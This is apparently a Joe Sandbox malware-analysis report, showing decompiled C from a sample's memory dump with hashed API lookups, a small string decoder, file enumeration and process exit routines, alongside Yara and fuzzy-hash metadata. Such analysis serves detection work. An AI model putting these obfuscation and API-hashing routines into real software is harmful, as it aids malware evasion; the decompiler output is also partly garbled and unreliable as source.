    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ExceptionFilterUnhandled$DebuggerPresent
    • String ID:
    • API String ID: 3906539128-0
    • Opcode ID: b0a891f690bbf1173fe30d55693826a1e05c3f28a6fde0c2566cccd4eee4a0f8
    • Instruction ID: ab2005173b567239948cd94d5976902f2d46bc8728cc97c1466175bac20c5a50
    • Opcode Fuzzy Hash: b0a891f690bbf1173fe30d55693826a1e05c3f28a6fde0c2566cccd4eee4a0f8
    • Instruction Fuzzy Hash: AB31F67490121C9BCB21DF68DD8879CBBB8BF08320F5041DAE80CA7251EB749F859F54
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3A4D2 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
    Download Yara Rule
    C-Code - Quality: 100%
    			E00F3A4D2(int _a4) {
				void* _t14;
				void* _t16;

				if(E00F3C6F1(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E00F3A557(_t14, _t16, _a4);
				ExitProcess(_a4);
			}





    0x00f3a4de
    0x00f3a4fa
    0x00f3a4fa
    0x00f3a503
    0x00f3a50c

    APIs
    • GetCurrentProcess.KERNEL32(00000003,?,00F3A4A8,00000003,00F494F8,0000000C,00F3A5FF,00000003,00000002,00000000,?,00F3AE47,00000003), ref: 00F3A4F3
    • TerminateProcess.KERNEL32(00000000,?,00F3A4A8,00000003,00F494F8,0000000C,00F3A5FF,00000003,00000002,00000000,?,00F3AE47,00000003), ref: 00F3A4FA
    • ExitProcess.KERNEL32 ref: 00F3A50C
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Process$CurrentExitTerminate
    • String ID:
    • API String ID: 1703294689-0
    • Opcode ID: 878850afbd0812e50899f6e2e6fde701531869268800d8d83cb4d1acdca7ada5
    • Instruction ID: e87a0c09934b938a7ea614a82562a41e5541c5d83f48b18c1a0bc72bc48638bd
    • Opcode Fuzzy Hash: 878850afbd0812e50899f6e2e6fde701531869268800d8d83cb4d1acdca7ada5
    • Instruction Fuzzy Hash: D3E04636000148ABCF01AF59DD09B493B69EB113A1F040414FE4AAA122CB39EE62EB81
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3B6BD Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON
    Download Yara Rule
    C-Code - Quality: 70%
    			E00F3B6BD(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				signed int _t62;
				signed int _t65;
				void* _t72;
				void* _t74;
				signed int _t75;
				void* _t78;
				CHAR* _t79;
				intOrPtr* _t83;
				intOrPtr _t85;
				void* _t87;
				intOrPtr* _t88;
				signed int _t92;
				signed int _t96;
				void* _t101;
				intOrPtr _t102;
				signed int _t105;
				union _FINDEX_INFO_LEVELS _t106;
				void* _t111;
				intOrPtr _t112;
				void* _t113;
				signed int _t118;
				void* _t119;
				signed int _t120;
				void* _t121;
				void* _t122;

				_push(__ecx);
				_t83 = _a4;
				_t2 = _t83 + 1; // 0x1
				_t101 = _t2;
				do {
					_t35 =  *_t83;
					_t83 = _t83 + 1;
				} while (_t35 != 0);
				_push(__edi);
				_t105 = _a12;
				_t85 = _t83 - _t101 + 1;
				_v8 = _t85;
				if(_t85 <= (_t35 | 0xffffffff) - _t105) {
					_push(__ebx);
					_push(__esi);
					_t5 = _t105 + 1; // 0x1
					_t78 = _t5 + _t85;
					_t111 = E00F3AE48(_t85, _t78, 1);
					_pop(_t87);
					__eflags = _t105;
					if(_t105 == 0) {
						L6:
						_push(_v8);
						_t78 = _t78 - _t105;
						_t40 = E00F3E49B(_t87, _t111 + _t105, _t78, _a4);
						_t120 = _t119 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t72 = E00F3B8FC(_a16, _t101, __eflags, _t111);
							E00F3AD7D(0);
							_t74 = _t72;
							goto L8;
						}
					} else {
						_push(_t105);
						_t75 = E00F3E49B(_t87, _t111, _t78, _a8);
						_t120 = _t119 + 0x10;
						__eflags = _t75;
						if(_t75 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00F39A9F();
							asm("int3");
							_t118 = _t120;
							_t121 = _t120 - 0x150;
							_t43 =  *0xf4a004; // 0x355216d4
							_v48 = _t43 ^ _t118;
							_t88 = _v32;
							_push(_t78);
							_t79 = _v36;
							_push(_t111);
							_t112 = _v332.cAlternateFileName;
							_push(_t105);
							_v372 = _t112;
							while(1) {
								__eflags = _t88 - _t79;
								if(_t88 == _t79) {
									break;
								}
								_t45 =  *_t88;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if (_t45 == 0x5c) goto L17;
									asm("adc edi, [edx+edi]");
								}
								break;
							}
							_t102 =  *_t88;
							__eflags = _t102 - 0x3a;
							if(_t102 != 0x3a) {
								L20:
								_t106 = 0;
								__eflags = _t102 - 0x2f;
								if(_t102 == 0x2f) {
									L24:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t102 - 0x5c;
									if(_t102 == 0x5c) {
										goto L24;
									} else {
										__eflags = _t102 - 0x3a;
										if(_t102 == 0x3a) {
											goto L24;
										} else {
											_t47 = 0;
										}
									}
								}
								_t90 = _t88 - _t79 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t88 - _t79 + 0x00000001;
								E00F39000(_t106,  &_v332, _t106, 0x140);
								_t122 = _t121 + 0xc;
								_t113 = FindFirstFileExA(_t79, _t106,  &_v332, _t106, _t106, _t106);
								_t55 = _v336;
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									_t92 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t92;
									_t93 = _t92 >> 2;
									_v344 = _t92 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L37:
											_push(_t55);
											_t57 = E00F3B6BD(_t79, _t93, _t106, _t113,  &(_v332.cFileName), _t79, _v340);
											_t122 = _t122 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L27;
											} else {
												goto L38;
											}
										} else {
											_t93 = _v287;
											__eflags = _t93;
											if(_t93 == 0) {
												goto L38;
											} else {
												__eflags = _t93 - 0x2e;
												if(_t93 != 0x2e) {
													goto L37;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L38;
													} else {
														goto L37;
													}
												}
											}
										}
										goto L31;
										L38:
										_t62 = FindNextFileA(_t113,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t103 =  *_t55;
									_t96 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t96 - _t65;
									if(_t96 != _t65) {
										E00F3E050(_t79, _t106, _t113, _t103 + _t96 * 4, _t65 - _t96, 4, E00F3B515);
									}
								} else {
									_push(_t55);
									_t57 = E00F3B6BD(_t79, _t90, _t106, _t113, _t79, _t106, _t106);
									L27:
									_t106 = _t57;
								}
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									FindClose(_t113);
								}
							} else {
								__eflags = _t88 -  &(_t79[1]);
								if(_t88 ==  &(_t79[1])) {
									goto L20;
								} else {
									_push(_t112);
									E00F3B6BD(_t79, _t88, 0, _t112, _t79, 0, 0);
								}
							}
							L31:
							__eflags = _v12 ^ _t118;
							return E00F37A82(_v12 ^ _t118);
						} else {
							goto L6;
						}
					}
				} else {
					_t74 = 0xc;
					L8:
					return _t74;
				}
			}















































    0x00f3b6c2
    0x00f3b6c3
    0x00f3b6c6
    0x00f3b6c6
    0x00f3b6c9
    0x00f3b6c9
    0x00f3b6cb
    0x00f3b6cc
    0x00f3b6d5
    0x00f3b6d6
    0x00f3b6d9
    0x00f3b6dc
    0x00f3b6e1
    0x00f3b6e8
    0x00f3b6e9
    0x00f3b6ea
    0x00f3b6ed
    0x00f3b6f7
    0x00f3b6fa
    0x00f3b6fb
    0x00f3b6fd
    0x00f3b711
    0x00f3b711
    0x00f3b714
    0x00f3b71e
    0x00f3b723
    0x00f3b726
    0x00f3b728
    0x00000000
    0x00f3b72a
    0x00f3b72e
    0x00f3b737
    0x00f3b73d
    0x00000000
    0x00f3b740
    0x00f3b6ff
    0x00f3b6ff
    0x00f3b705
    0x00f3b70a
    0x00f3b70d
    0x00f3b70f
    0x00f3b746
    0x00f3b748
    0x00f3b749
    0x00f3b74a
    0x00f3b74b
    0x00f3b74c
    0x00f3b74d
    0x00f3b752
    0x00f3b756
    0x00f3b758
    0x00f3b75e
    0x00f3b765
    0x00f3b768
    0x00f3b76b
    0x00f3b76c
    0x00f3b76f
    0x00f3b770
    0x00f3b773
    0x00f3b774
    0x00f3b795
    0x00f3b795
    0x00f3b797
    0x00000000
    0x00000000
    0x00f3b77c
    0x00f3b77e
    0x00f3b780
    0x00f3b782
    0x00f3b784
    0x00f3b785
    0x00f3b785
    0x00000000
    0x00f3b780
    0x00f3b799
    0x00f3b79b
    0x00f3b79e
    0x00f3b7b7
    0x00f3b7b7
    0x00f3b7b9
    0x00f3b7bc
    0x00f3b7cc
    0x00f3b7ce
    0x00f3b7ce
    0x00f3b7be
    0x00f3b7be
    0x00f3b7c1
    0x00000000
    0x00f3b7c3
    0x00f3b7c3
    0x00f3b7c6
    0x00000000
    0x00f3b7c8
    0x00f3b7c8
    0x00f3b7c8
    0x00f3b7c6
    0x00f3b7c1
    0x00f3b7d4
    0x00f3b7dc
    0x00f3b7e0
    0x00f3b7ee
    0x00f3b7f3
    0x00f3b808
    0x00f3b80a
    0x00f3b810
    0x00f3b813
    0x00f3b845
    0x00f3b845
    0x00f3b847
    0x00f3b84a
    0x00f3b850
    0x00f3b850
    0x00f3b857
    0x00f3b871
    0x00f3b871
    0x00f3b880
    0x00f3b885
    0x00f3b888
    0x00f3b88a
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3b859
    0x00f3b859
    0x00f3b85f
    0x00f3b861
    0x00000000
    0x00f3b863
    0x00f3b863
    0x00f3b866
    0x00000000
    0x00f3b868
    0x00f3b868
    0x00f3b86f
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3b86f
    0x00f3b866
    0x00f3b861
    0x00000000
    0x00f3b88c
    0x00f3b894
    0x00f3b89a
    0x00f3b89c
    0x00f3b89c
    0x00f3b8a4
    0x00f3b8a9
    0x00f3b8b1
    0x00f3b8b4
    0x00f3b8b6
    0x00f3b8ca
    0x00f3b8cf
    0x00f3b815
    0x00f3b815
    0x00f3b819
    0x00f3b821
    0x00f3b821
    0x00f3b821
    0x00f3b823
    0x00f3b826
    0x00f3b829
    0x00f3b829
    0x00f3b7a0
    0x00f3b7a3
    0x00f3b7a5
    0x00000000
    0x00f3b7a7
    0x00f3b7a7
    0x00f3b7ad
    0x00f3b7b2
    0x00f3b7a5
    0x00f3b831
    0x00f3b836
    0x00f3b841
    0x00000000
    0x00000000
    0x00000000
    0x00f3b70f
    0x00f3b6e3
    0x00f3b6e5
    0x00f3b741
    0x00f3b745
    0x00f3b745

    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID:
    • String ID: .
    • API String ID: 0-248832578
    • Opcode ID: 073762674a9f74e286588d39413e2dda1de249fa787d8bc6b9f1f3e2288cc622
    • Instruction ID: 062bad035abd024d19779eefbcb655be79505e072f1d218d384337d76b18d8f8
    • Opcode Fuzzy Hash: 073762674a9f74e286588d39413e2dda1de249fa787d8bc6b9f1f3e2288cc622
    • Instruction Fuzzy Hash: 4931E475900209ABCB249E78CC95EFA7BBDEF85334F1401A8FA18D7252E7349D459B50
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F3B7C3 Relevance: 3.1, APIs: 2, Instructions: 52COMMON
    Download Yara Rule
    C-Code - Quality: 82%
    			E00F3B7C3(CHAR* __ebx, void* __ecx, void* __edx, union _FINDEX_INFO_LEVELS __edi) {
				signed char _t20;
				intOrPtr* _t28;
				union _FINDEX_INFO_LEVELS _t30;
				int _t35;
				CHAR* _t42;
				void* _t44;
				signed int _t48;
				union _FINDEX_INFO_LEVELS _t55;
				void* _t57;
				signed int _t59;
				void* _t61;
				void* _t62;

				_t55 = __edi;
				_t44 = __ecx;
				_t42 = __ebx;
				if(__edx == 0x3a) {
					_t20 = 1;
				} else {
					_t20 = __edi;
				}
				_t46 = _t44 - _t42 + 1;
				asm("sbb eax, eax");
				 *(_t59 - 0x14c) =  ~(_t20 & 0x000000ff) & _t44 - _t42 + 0x00000001;
				E00F39000(_t55, _t59 - 0x144, _t55, 0x140);
				_t62 = _t61 + 0xc;
				_t57 = FindFirstFileExA(_t42, _t55, _t59 - 0x144, _t55, _t55, _t55);
				_t28 =  *((intOrPtr*)(_t59 - 0x148));
				if(_t57 != 0xffffffff) {
					_t48 =  *((intOrPtr*)(_t28 + 4)) -  *_t28;
					_t49 = _t48 >> 2;
					 *(_t59 - 0x150) = _t48 >> 2;
					do {
						if( *((char*)(_t59 - 0x118)) != 0x2e) {
							L15:
							_push(_t28);
							_t30 = E00F3B6BD(_t42, _t49, _t55, _t57, _t59 - 0x118, _t42,  *(_t59 - 0x14c));
							_t62 = _t62 + 0x10;
							if(_t30 != 0) {
								goto L5;
							} else {
								goto L16;
							}
						} else {
							_t49 =  *((intOrPtr*)(_t59 - 0x117));
							if(_t49 == 0 || _t49 == 0x2e &&  *((char*)(_t59 - 0x116)) == 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
						goto L6;
						L16:
						_t35 = FindNextFileA(_t57, _t59 - 0x144);
						_t28 =  *((intOrPtr*)(_t59 - 0x148));
					} while (_t35 != 0);
					_t54 =  *_t28;
					_t52 =  *(_t59 - 0x150);
					_t38 =  *((intOrPtr*)(_t28 + 4)) -  *_t28 >> 2;
					if( *(_t59 - 0x150) !=  *((intOrPtr*)(_t28 + 4)) -  *_t28 >> 2) {
						E00F3E050(_t42, _t55, _t57, _t54 + _t52 * 4, _t38 - _t52, 4, E00F3B515);
					}
				} else {
					_push(_t28);
					_t30 = E00F3B6BD(_t42, _t46, _t55, _t57, _t42, _t55, _t55);
					L5:
					_t55 = _t30;
				}
				L6:
				if(_t57 != 0xffffffff) {
					FindClose(_t57);
				}
				return E00F37A82( *(_t59 - 4) ^ _t59);
			}















    0x00f3b7c3
    0x00f3b7c3
    0x00f3b7c3
    0x00f3b7c6
    0x00f3b7ce
    0x00f3b7c8
    0x00f3b7c8
    0x00f3b7c8
    0x00f3b7d4
    0x00f3b7dc
    0x00f3b7e0
    0x00f3b7ee
    0x00f3b7f3
    0x00f3b808
    0x00f3b80a
    0x00f3b813
    0x00f3b845
    0x00f3b847
    0x00f3b84a
    0x00f3b850
    0x00f3b857
    0x00f3b871
    0x00f3b871
    0x00f3b880
    0x00f3b885
    0x00f3b88a
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3b859
    0x00f3b859
    0x00f3b861
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f3b861
    0x00000000
    0x00f3b88c
    0x00f3b894
    0x00f3b89c
    0x00f3b89c
    0x00f3b8a4
    0x00f3b8a9
    0x00f3b8b1
    0x00f3b8b6
    0x00f3b8ca
    0x00f3b8cf
    0x00f3b815
    0x00f3b815
    0x00f3b819
    0x00f3b821
    0x00f3b821
    0x00f3b821
    0x00f3b823
    0x00f3b826
    0x00f3b829
    0x00f3b829
    0x00f3b841

    APIs
    • FindFirstFileExA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00F3B802
    • FindClose.KERNEL32(00000000), ref: 00F3B829
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: Find$CloseFileFirst
    • String ID:
    • API String ID: 2295610775-0
    • Opcode ID: d35bde9e2e1d2bdab680664a0da243afa39248cfa96d129bb867c87d0778f402
    • Instruction ID: 2a20420c2fe7704ec28b43fbb3323f79c1b1dccd405a7408e0e8a2072d6fde02
    • Opcode Fuzzy Hash: d35bde9e2e1d2bdab680664a0da243afa39248cfa96d129bb867c87d0778f402
    • Instruction Fuzzy Hash: 4401D672E000586AC724AA399C49EFF76BCDBC6735F0006ADFD1AD31D1E6384E45D6A0
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F30210 Relevance: 2.7, Strings: 2, Instructions: 249COMMONCrypto
    Download Yara Rule
    C-Code - Quality: 62%
    			E00F30210(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				char _v22;
				char _v23;
				char _v24;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _t67;
				intOrPtr _t69;
				intOrPtr* _t70;
				intOrPtr _t74;
				intOrPtr* _t75;
				signed int _t83;
				intOrPtr _t86;
				signed int _t87;
				signed int _t88;
				signed int _t97;
				intOrPtr _t108;
				signed int _t109;
				intOrPtr _t113;
				intOrPtr* _t114;
				intOrPtr _t119;
				signed int _t120;
				signed int _t121;
				intOrPtr _t134;
				intOrPtr _t140;
				signed int* _t141;
				intOrPtr _t143;
				intOrPtr _t147;
				intOrPtr _t151;
				intOrPtr _t153;
				intOrPtr _t155;
				intOrPtr _t162;
				signed int _t169;
				signed int _t170;
				signed int _t171;
				void* _t173;
				signed int _t174;
				signed int _t176;
				signed int _t177;
				void* _t178;
				void* _t179;
				void* _t180;

				_t168 = __edi;
				_t67 =  *0xf4a004; // 0x355216d4
				_v8 = _t67 ^ _t177;
				_t69 =  *0xf4c2ec; // 0xddcc10
				_t70 =  *((intOrPtr*)(_t69 + 0x30));
				_t173 = __ecx;
				_v28 = __edx;
				if(_t70 == 0) {
					_t70 = E00F222A0(__ebx, 0, 0, __edi, __ecx, 0xf06e87ca);
					_t155 =  *0xf4c2ec; // 0xddcc10
					 *((intOrPtr*)(_t155 + 0x30)) = _t70;
				}
				_t119 =  *_t70(_t173, 0x80000000, 0, 0, 3, 0, 0);
				_v40 = _t119;
				if(_t119 == 0xffffffff) {
					L37:
					__eflags = _v8 ^ _t177;
					return E00F37A82(_v8 ^ _t177);
				} else {
					_t74 =  *0xf4c2ec; // 0xddcc10
					_t75 =  *((intOrPtr*)(_t74 + 0x14));
					if(_t75 == 0) {
						_t75 = E00F222A0(_t119, 0, 0, _t168, _t173, 0x1b1acbcc);
						_t153 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t153 + 0x14)) = _t75;
					}
					_push( &_v20);
					_push(_t119);
					if( *_t75() != 0) {
						_t174 = _v20;
						__eflags = _t174 | _v16;
						if((_t174 | _v16) != 0) {
							_push(_t174);
							_t169 = E00F39867( &_v20);
							_t179 = _t178 + 4;
							_v36 = _t169;
							__eflags = _t169;
							if(_t169 == 0) {
								L36:
								E00F23F40(_t119);
								goto L37;
							} else {
								E00F39000(_t169, _t169, 0, _t174);
								_t180 = _t179 + 8;
								_v12 = 0;
								_t83 = E00F23EA0(_t119, _t169, _v20,  &_v12);
								__eflags = _t83;
								if(_t83 == 0) {
									goto L36;
								} else {
									__eflags = _v12 - _v20;
									if(_v12 != _v20) {
										goto L36;
									} else {
										__eflags = 0 - _v16;
										if(0 != _v16) {
											goto L36;
										} else {
											_t120 = _t169;
											_t170 = 0x7f;
											while(1) {
												_v24 = 0;
												_v23 = 0x7a;
												_v22 = 0x5c;
												__eflags = _v24;
												if(_v24 != 0) {
													goto L21;
												}
												_t176 = 0;
												__eflags = 0;
												do {
													asm("cdq");
													asm("cdq");
													 *(_t177 + _t176 - 0x13) = ((0x5c - ( *(_t177 + _t176 - 0x13) & 0x000000ff)) * 0x2a % _t170 + 0x7f) % _t170;
													_t176 = _t176 + 1;
													__eflags = _t176 - 2;
												} while (_t176 < 2);
												L21:
												_t86 =  *0xf4c2ec; // 0xddcc10
												_t87 =  *(_t86 + 0x124);
												__eflags = _t87;
												if(_t87 == 0) {
													__eflags = 0;
													_t87 = E00F222A0(_t120, 0, _t87 + 7, _t170, _t174, 0x6877b7f6);
													_t134 =  *0xf4c2ec; // 0xddcc10
													 *(_t134 + 0x124) = _t87;
												}
												_t88 =  *_t87(_t120,  &_v23);
												_v32 = _t88;
												__eflags = _t88;
												if(_t88 != 0) {
													_t174 = _t88 - _t120;
													__eflags = _t174;
													if(_t174 == 0) {
														L33:
														_t62 = _t88 + 1; // 0x1
														_t120 = _t62;
														continue;
													} else {
														__eflags = _t174 - 0x4000;
														if(__eflags > 0) {
															goto L33;
														} else {
															_t48 = _t174 + 1; // 0x1
															_t171 = E00F21A70(_t48, __eflags);
															__eflags = _t171;
															if(_t171 != 0) {
																E00F31B00(_t171, _t120, _t174);
																__eflags =  *((char*)(_t171 + _t174 - 1)) - 0xd;
																if(__eflags == 0) {
																	 *((char*)(_t171 + _t174 - 1)) = 0;
																}
																_t121 = E00F21A70(0x8008, __eflags);
																__eflags = _t121;
																if(_t121 == 0) {
																	E00F39872(_t171);
																	_t180 = _t180 + 4;
																} else {
																	_t140 =  *0xf4c2ec; // 0xddcc10
																	_t97 =  *(_t140 + 0x68);
																	__eflags = _t97;
																	if(_t97 == 0) {
																		__eflags = 0;
																		_t97 = E00F222A0(_t121, 0, 0, _t171, _t174, 0xcd05546);
																		_t143 =  *0xf4c2ec; // 0xddcc10
																		 *(_t143 + 0x68) = _t97;
																	}
																	 *_t97(1, 0, _t171, _t174, _t121, 0x4000);
																	_t162 = _v28;
																	_t56 = _t121 + 0x8000; // 0x8000
																	_t141 = _t56;
																	 *_t141 = 0;
																	 *(_t121 + 0x8004) =  *(_t162 + 4);
																	 *( *(_t162 + 4)) = _t121;
																	 *(_t162 + 4) = _t141;
																	E00F39872(_t171);
																	_t88 = _v32;
																	_t180 = _t180 + 4;
																	_t170 = 0x7f;
																	goto L33;
																}
															}
														}
													}
												}
												E00F39872(_v36);
												E00F23F40(_v40);
												__eflags = _v8 ^ _t177;
												return E00F37A82(_v8 ^ _t177);
												goto L38;
											}
										}
									}
								}
							}
						} else {
							_t108 =  *0xf4c2ec; // 0xddcc10
							_t109 =  *(_t108 + 0x48);
							__eflags = _t109;
							if(_t109 == 0) {
								__eflags = 0;
								_t109 = E00F222A0(_t119, 0, 0, _t168, _t174, 0xa5eb6e47);
								_t147 =  *0xf4c2ec; // 0xddcc10
								 *(_t147 + 0x48) = _t109;
							}
							 *_t109();
							__eflags = _v8 ^ _t177;
							return E00F37A82(_v8 ^ _t177, _t119);
						}
					} else {
						_t113 =  *0xf4c2ec; // 0xddcc10
						_t114 =  *((intOrPtr*)(_t113 + 0x48));
						if(_t114 == 0) {
							_t114 = E00F222A0(_t119, 0, 0, _t168, _t173, 0xa5eb6e47);
							_t151 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t151 + 0x48)) = _t114;
						}
						 *_t114();
						return E00F37A82(_v8 ^ _t177, _t119);
					}
				}
				L38:
			}


















































    0x00f30210
    0x00f30216
    0x00f3021d
    0x00f30220
    0x00f30228
    0x00f3022b
    0x00f3022d
    0x00f30232
    0x00f3023d
    0x00f30242
    0x00f30248
    0x00f30248
    0x00f3025d
    0x00f3025f
    0x00f30265
    0x00f304e2
    0x00f304e9
    0x00f304f4
    0x00f3026b
    0x00f3026b
    0x00f30270
    0x00f30275
    0x00f30280
    0x00f30285
    0x00f3028b
    0x00f3028b
    0x00f30291
    0x00f30292
    0x00f30297
    0x00f302d2
    0x00f302d7
    0x00f302da
    0x00f30315
    0x00f3031b
    0x00f3031d
    0x00f30320
    0x00f30323
    0x00f30325
    0x00f304db
    0x00f304dd
    0x00000000
    0x00f3032b
    0x00f3032f
    0x00f30334
    0x00f30337
    0x00f30349
    0x00f3034e
    0x00f30350
    0x00000000
    0x00f30356
    0x00f3035b
    0x00f3035e
    0x00000000
    0x00f30364
    0x00f30364
    0x00f30367
    0x00000000
    0x00f3036d
    0x00f3036d
    0x00f3036f
    0x00f30372
    0x00f30372
    0x00f30376
    0x00f3037a
    0x00f30381
    0x00f30385
    0x00000000
    0x00000000
    0x00f30387
    0x00f30387
    0x00f30390
    0x00f303a1
    0x00f303a7
    0x00f303aa
    0x00f303ae
    0x00f303af
    0x00f303af
    0x00f303b4
    0x00f303b4
    0x00f303b9
    0x00f303bf
    0x00f303c1
    0x00f303cb
    0x00f303cd
    0x00f303d2
    0x00f303d8
    0x00f303d8
    0x00f303e3
    0x00f303e5
    0x00f303e8
    0x00f303ea
    0x00f303f2
    0x00f303f2
    0x00f303f4
    0x00f304a1
    0x00f304a1
    0x00f304a1
    0x00000000
    0x00f303fa
    0x00f303fa
    0x00f30400
    0x00000000
    0x00f30406
    0x00f30406
    0x00f3040e
    0x00f30410
    0x00f30412
    0x00f3041d
    0x00f30422
    0x00f30427
    0x00f30429
    0x00f30429
    0x00f30438
    0x00f3043a
    0x00f3043c
    0x00f304aa
    0x00f304af
    0x00f3043e
    0x00f3043e
    0x00f30444
    0x00f30447
    0x00f30449
    0x00f30452
    0x00f30454
    0x00f30459
    0x00f3045f
    0x00f3045f
    0x00f3046e
    0x00f30470
    0x00f30473
    0x00f30473
    0x00f30479
    0x00f30483
    0x00f3048c
    0x00f3048e
    0x00f30491
    0x00f30496
    0x00f30499
    0x00f3049c
    0x00000000
    0x00f3049c
    0x00f3043c
    0x00f30412
    0x00f30400
    0x00f303f4
    0x00f304b5
    0x00f304c0
    0x00f304d0
    0x00f304da
    0x00000000
    0x00f304da
    0x00f30372
    0x00f30367
    0x00f3035e
    0x00f30350
    0x00f302dc
    0x00f302dc
    0x00f302e1
    0x00f302e4
    0x00f302e6
    0x00f302ef
    0x00f302f1
    0x00f302f6
    0x00f302fc
    0x00f302fc
    0x00f30300
    0x00f3030a
    0x00f30314
    0x00f30314
    0x00f30299
    0x00f30299
    0x00f3029e
    0x00f302a3
    0x00f302ae
    0x00f302b3
    0x00f302b9
    0x00f302b9
    0x00f302bd
    0x00f302d1
    0x00f302d1
    0x00f30297
    0x00000000

    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: ErrorFreeHeapLast
    • String ID: \$z
    • API String ID: 485612231-3688855362
    • Opcode ID: c08902538981eb4679bd6dc7dc50f699fc12af9a4000fec73905ac34f58eee10
    • Instruction ID: 4793b32c639858e1a7861c46a6b49ba9c514b873e09d996837695fd42d80e621
